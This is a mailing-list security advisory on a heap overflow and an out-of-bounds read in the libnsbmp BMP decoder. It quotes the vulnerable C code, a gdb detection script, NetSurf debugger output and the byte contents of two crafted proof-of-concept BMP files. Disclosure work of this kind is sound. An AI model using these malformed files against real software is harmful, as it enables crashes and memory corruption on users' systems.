Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 16 Dec 2015 20:59:49 +0700
From: Hans Jerry Illikainen <hji@...topia.com>
To: bugtraq@...urityfocus.com, fulldisclosure@...lists.org, oss-security@...ts.openwall.com
Subject: libnsbmp: heap overflow (CVE-2015-7508) and out-of-bounds read (CVE-2015-7507)


Overview
========

Libnsbmp[1] is a decoding library for BMP and ICO files.  It is
primarily developed and used as part of the NetSurf project.

As of version 0.1.2, libnsbmp is vulnerable to a heap overflow
(CVE-2015-7508) and an out-of-bounds read (CVE-2015-7507).


CVE-2015-7508
=============

libnsbmp expects that the user-supplied `bmp_bitmap_cb_create' callback
allocates enough memory to accommodate for `bmp->width * bmp->height *
4' bytes.  However, due to the way `pixels_left' is calculated, the last
row of run-length encoded data may expand beyond the end of
`bmp->bitmap', resulting in a heap overflow.


src/libnsbmp.c #951..1097:
,----
| static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) {
| [...]
|     swidth = bmp->bitmap_callbacks.bitmap_get_bpp(bmp->bitmap) * bmp->width;
|     top = bmp->bitmap_callbacks.bitmap_get_buffer(bmp->bitmap);
| [...]
|     do {
| [...]
|         length = *data++;
|         if (length == 0) {
| [...]
|                 /* 00 - NN means escape NN pixels */
|                 if (bmp->reversed) {
|                     pixels_left = (y + 1) * bmp->width - x;
|                     scanline = (void *)(top + (y * swidth));
|                 } else {
|                     pixels_left = (bmp->height - y + 1) * bmp->width - x;
|                     scanline = (void *)(bottom - (y * swidth));
|                 }
|                 if (length > pixels_left)
|                     length = pixels_left;
|                 if (data + length > end)
|                     return BMP_INSUFFICIENT_DATA;
| [...]
|         } else {
|             /* NN means perform RLE for NN pixels */
|             if (bmp->reversed) {
|                 pixels_left = (y + 1) * bmp->width - x;
|                 scanline = (void *)(top + (y * swidth));
|             } else {
|                 pixels_left = (bmp->height - y + 1) * bmp->width - x;
|                 scanline = (void *)(bottom - (y * swidth));
|             }
|             if (length > pixels_left)
|                 length = pixels_left;
| [...]
|                 pixel2 = *data++;
|                 pixel = bmp->colour_table[pixel2 >> 4];
|                 pixel2 = bmp->colour_table[pixel2 & 0xf];
|                 for (i = 0; i < length; i++) {
|                     if (x >= bmp->width) {
|                         x = 0;
|                         if (++y > bmp->height)
|                             return BMP_DATA_ERROR;
|                         scanline -= bmp->width;
|                     }
|                     if ((i & 1) == 0)
|                         scanline[x++] = pixel;
|                     else
|                         scanline[x++] = pixel2;
|                 }
|             }
|         }
|     } while (data < end);
| [...]
| }
`----


Using NetSurf as an example:

,----
| ~/netsurf-all-3.3/netsurf$ gdb -x heap.py --args ./nsgtk heap.bmp
| [...]
| heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefed, end of buf: 0x7fffe29fefec (+1)
| heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefef, end of buf: 0x7fffe29fefec (+3)
| heap overfow: pix: 0xff999999 ptr: 0x7fffe29feff1, end of buf: 0x7fffe29fefec (+5)
| 
| Program received signal SIGSEGV, Segmentation fault.
| 0x00000000005183e4 in bmp_decode_rle (bmp=0xda9ff0, data=0xdb9e24 'A' <repeats 23 times>, bytes=157, size=4) at src/libnsbmp.c:1091
| 1091                          scanline[x++] = pixel2;
| (gdb)
`----


heap.py:
,----
| class Breakpoint(gdb.Breakpoint):
|     def stop(self):
|         top = get_hex("top")
|         width = get_hex("bmp->width")
|         height = get_hex("bmp->height")
|         bpp = get_hex("bmp->bpp")
|         x = get_hex("x")
|         scanline = get_hex("scanline")
|         pixel2 = get_hex("pixel2")
| 
|         cur = scanline + x
|         end = top + width * height * bpp
|         if cur > end:
|             print("heap overfow: pix: 0x%x ptr: 0x%x, end of buf: 0x%x (+%d)" %
|                   (pixel2, cur, end, cur - end))
|         return False
| 
| def get_hex(arg):
|     res = gdb.execute("print/x %s" % arg, to_string=True)
|     x = res.split(" ")[-1].strip()
|     return int(x, 16)
| 
| Breakpoint("netsurf-all-3.3/libnsbmp/src/libnsbmp.c:1091")
| 
| gdb.execute("run")
`----


heap.bmp:
,----
| unsigned char heap[] = {
|     /* bmp_analyse() */
|     0x42, 0x4d,             /* BM */
|     0x41, 0x00, 0x00, 0x40, /* bmp size */
|     0x00, 0x00,             /* reserved */
|     0x00, 0x00,             /* reserved */
|     0x00, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */
| 
|     /* bmp_analyse_header() */
|     0x6c, 0x00, 0x00, 0x00, /* header_size */
|     0xff, 0x7f, 0x00, 0x00, /* width */
|     0xf7, 0xff, 0xff, 0xff, /* height */
|     0x01, 0x00,             /* colour planes */
|     0x04, 0x00,             /* bmp->bpp */
|     0x02, 0x00, 0x00, 0x00, /* bmp->encoding */
|     0x04, 0x00, 0x00, 0x00, /* size of bitmap */
|     0x41, 0x41, 0x00, 0x00, /* horizontal resolution */
|     0x41, 0x41, 0x00, 0x00, /* vertical resolution */
|     0x01, 0x00, 0x00, 0x00, /* bmp->colours */
|     0x00, 0x00, 0x00, 0x00, /* number of important colours */
|     0x41, 0x41, 0x41, 0x41, /* mask identifying bits of red component */
|     0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */
|     0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */
| 
|     /*
|      * NOTE: the first two bytes of the alpha mask are used in the
|      * expansion of the last "line".
|      *
|      * 0xff = the number of bytes to expand,
|      * 0x00 = the pixel which, combined with a bitwise AND against 0xf,
|      *        is used to dereference a (potentially) suiting "real"
|      *        pixel in bmp->colour_table.  Since bmp->colours is
|      *        specified as 1, we want this to be 0.  No bounds checking
|      *        is done and as such libnsbmp may be induced to read from
|      *        bmp->colour_table[out_of_bounds_index] (CVE-2015-7507)
|      */
|     0xff, 0x00, 0x41, 0x41, /* mask identifying bits of alpha component */
| 
|     0x41, 0x41, 0x41, 0x41, /* color space type */
|     0x41, 0x41, 0x41, 0x41, /* x coordinate of red endpoint */
|     0x41, 0x41, 0x41, 0x41, /* y coordinate of red endpoint */
|     0x41, 0x41, 0x41, 0x41, /* z coordinate of red endpoint */
|     0x41, 0x41, 0x41, 0x41, /* x coordinate of green endpoint */
|     0x41, 0x00, 0x41, 0x41, /* y coordinate of green endpoint */
|     0x41, 0x41, 0x41, 0x41, /* z coordinate of green endpoint */
|     0x41, 0x41, 0x41, 0x41, /* x coordinate of blue endpoint */
|     0x41, 0x41, 0x41, 0x41, /* y coordinate of blue endpoint */
|     0x41, 0x41, 0x41, 0x41, /* z coordinate of blue endpoint */
|     0x41, 0x41, 0x41, 0x41, /* gamma red coordinate scale value */
|     0x41, 0x41, 0x41, 0x41, /* gamma green coordinate scale value */
|     0x41, 0x41, 0x41, 0x41, /* gamma blue coordinate scale value */
| 
|     /*
|      * NOTE: this is what will be expanded on the last "line"
|      */
|     0x99, 0x99, 0x99,       /* bmp->colour_table[0] */
| 
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
| };
`----


CVE-2015-7507
=============

An out-of-bounds read may occur in libnsbmp due to a lack of boundary
checking before dereferencing `bmp->colour_table' in `bmp_decode_rgb()'
and `bmp_decode_rle()' with an index based on a user-supplied value.

src/libnsbmp.c #306..558:
,----
| static bmp_result bmp_analyse_header(bmp_image *bmp, uint8_t *data) {
| [...]
|     header_size = read_uint32(data, 0);
| [...]
|     if (header_size == 12) {
| [...]
|         bmp->bpp = read_uint16(data, 10);
|         /**
|          * The bpp value should be in the range 1-32, but the only
|          * values considered legal are:
|          * RGB ENCODING: 1, 4, 8, 16, 24 and 32
|          */
|         if ((bmp->bpp != 1) && (bmp->bpp != 4) &&
|                 (bmp->bpp != 8) &&
|                 (bmp->bpp != 16) &&
|                 (bmp->bpp != 24) &&
|                 (bmp->bpp != 32))
|             return BMP_DATA_ERROR;
|         bmp->colours = (1 << bmp->bpp);
|         palette_size = 3;
|     } else if (header_size < 40) {
|         return BMP_DATA_ERROR;
|     } else {
| [...]
|         bmp->colours = read_uint32(data, 32);
|         if (bmp->colours == 0)
|             bmp->colours = (1 << bmp->bpp);
|         palette_size = 4;
|     }
| [...]
|     if (bmp->bpp < 16) {
| [...]
|         /* create the colour table */
|         bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4);
|         if (!bmp->colour_table)
|             return BMP_INSUFFICIENT_MEMORY;
|         for (i = 0; i < bmp->colours; i++) {
|             bmp->colour_table[i] = data[2] | (data[1] << 8) | (data[0] << 16);
|             if (bmp->opaque)
|                 bmp->colour_table[i] |= (0xff << 24);
|             data += palette_size;
|             bmp->colour_table[i] = read_uint32((uint8_t *)&bmp->colour_table[i],0);
|         }
|     }
| [...]
| }
`----


src/libnsbmp.c #951..1097:
,----
| static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) {
| [...]
|     do {
| [...]
|         length = *data++;
|         if (length == 0) {
| [...]
|             } else {
|                 /* 00 - NN means escape NN pixels */
| [...]
|                 if (size == 8) {
| [...]
|                         scanline[x++] = bmp->colour_table[(int)*data++];
|                     }
|                 } else {
| [...]
|                         if ((i & 1) == 0) {
|                             pixel = *data++;
|                             scanline[x++] = bmp->colour_table
|                                     [pixel >> 4];
|                         } else {
|                             scanline[x++] = bmp->colour_table
|                                     [pixel & 0xf];
|                         }
|                     }
| [...]
|             }
|         } else {
|             /* NN means perform RLE for NN pixels */
| [...]
|             if (size == 8) {
|                 pixel = bmp->colour_table[(int)*data++];
| [...]
|             } else {
|                 pixel2 = *data++;
|                 pixel = bmp->colour_table[pixel2 >> 4];
|                 pixel2 = bmp->colour_table[pixel2 & 0xf];
| [...]
|                 }
|             }
|         }
|     } while (data < end);
| [...]
| }
`----


src/libnsbmp.c #844..893:
,----
| static bmp_result bmp_decode_rgb(bmp_image *bmp, uint8_t **start, int bytes) {
| [...]
|     uint8_t bit_shifts[8];
|     uint8_t ppb = 8 / bmp->bpp;
|     uint8_t bit_mask = (1 << bmp->bpp) - 1;
|     uint8_t cur_byte = 0, bit, i;
| 
|     for (i = 0; i < ppb; i++)
|         bit_shifts[i] = 8 - ((i + 1) * bmp->bpp);
| [...]
|     /* Determine transparent index */
|     if (bmp->limited_trans)
|         bmp->transparent_index = bmp->colour_table[(*data >> bit_shifts[0]) & bit_mask];
| 
|     for (y = 0; y < bmp->height; y++) {
| [...]
|         for (x = 0; x < bmp->width; x++) {
|             if (bit >= ppb) {
|                 bit = 0;
|                 cur_byte = *data++;
|             }
|             scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask];
| [...]
|         }
|     }
|     *start = data;
|     return BMP_OK;
| }
`----


Another NetSurf example:

,----
| ~/netsurf-all-3.3/netsurf$ gdb --args ./nsgtk oob.bmp
| [...]
| (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:531
| Breakpoint 1 at 0x516a3e: file src/libnsbmp.c, line 531.
| (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:869
| Breakpoint 2 at 0x5179bb: file src/libnsbmp.c, line 869.
| (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:886
| Breakpoint 3 at 0x517aab: file src/libnsbmp.c, line 886.
| (gdb) r
| [...]
| Breakpoint 1, bmp_analyse_header (bmp=0xdadc90, data=0xdb9e6a "\377\377\377") at src/libnsbmp.c:531
| 531         bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4);
| (gdb) p bmp->colours * 4
| $1 = 4
| (gdb) c
| [...]
| Breakpoint 3, bmp_decode_rgb (bmp=0xdadc90, start=0x7fffffffbff0, bytes=4) at src/libnsbmp.c:886
| 886         scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask];
| (gdb) p (cur_byte >> bit_shifts[bit++]) & bit_mask
| $2 = 255
| (gdb)
`----


oob.bmp:
,----
| unsigned char bmp[] = {
|     /* bmp_analyse() */
|     0x42, 0x4d,             /* BM */
|     0x7e, 0x00, 0x00, 0x00, /* bmp size */
|     0x00, 0x00,             /* reserved */
|     0x00, 0x00,             /* reserved */
|     0x7a, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */
| 
|     /* bmp_analyse_header() */
|     0x6c, 0x00, 0x00, 0x00, /* header_size */
|     0x01, 0x00, 0x00, 0x00, /* width */
|     0x01, 0x00, 0x00, 0x00, /* height */
|     0x01, 0x00,             /* colour planes */
|     0x08, 0x00,             /* bmp->bpp */
|     0x00, 0x00, 0x00, 0x00, /* bmp->encoding */
|     0x00, 0x00, 0x00, 0x00, /* size of bitmap */
|     0x00, 0x00, 0x00, 0x00, /* horizontal resolution */
|     0x00, 0x00, 0x00, 0x00, /* vertical resolution */
|     0x01, 0x00, 0x00, 0x00, /* bmp->colours */
|     0x00, 0x00, 0x00, 0x00, /* number of important colours */
|     0x00, 0x00, 0x00, 0x00, /* mask identifying bits of red component */
|     0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */
|     0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */
|     0x00, 0x00, 0x00, 0x00, /* mask identifying bits of alpha component */
|     0x00, 0x00, 0x00, 0x00, /* color space type */
|     0x00, 0x00, 0x00, 0x00, /* x coordinate of red endpoint */
|     0x00, 0x00, 0x00, 0x00, /* y coordinate of red endpoint */
|     0x00, 0x00, 0x00, 0x00, /* z coordinate of red endpoint */
|     0x00, 0x00, 0x00, 0x00, /* x coordinate of green endpoint */
|     0x00, 0x00, 0x00, 0x00, /* y coordinate of green endpoint */
|     0x00, 0x00, 0x00, 0x00, /* z coordinate of green endpoint */
|     0x00, 0x00, 0x00, 0x00, /* x coordinate of blue endpoint */
|     0x00, 0x00, 0x00, 0x00, /* y coordinate of blue endpoint */
|     0x00, 0x00, 0x00, 0x00, /* z coordinate of blue endpoint */
|     0x00, 0x00, 0x00, 0x00, /* gamma red coordinate scale value */
|     0x00, 0x00, 0x00, 0x00, /* gamma green coordinate scale value */
|     0x00, 0x00, 0x00, 0x00, /* gamma blue coordinate scale value */
|     0xff, 0xff, 0xff, 0x00  /* bmp->colour_table[0] */
| };
`----


Solution
========

Both vulnerabilities are fixed in git HEAD[2].



Footnotes
_________

[1] [http://www.netsurf-browser.org/projects/libnsbmp/]

[2] [http://source.netsurf-browser.org/libnsbmp.git/]


Hans Jerry Illikainen

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.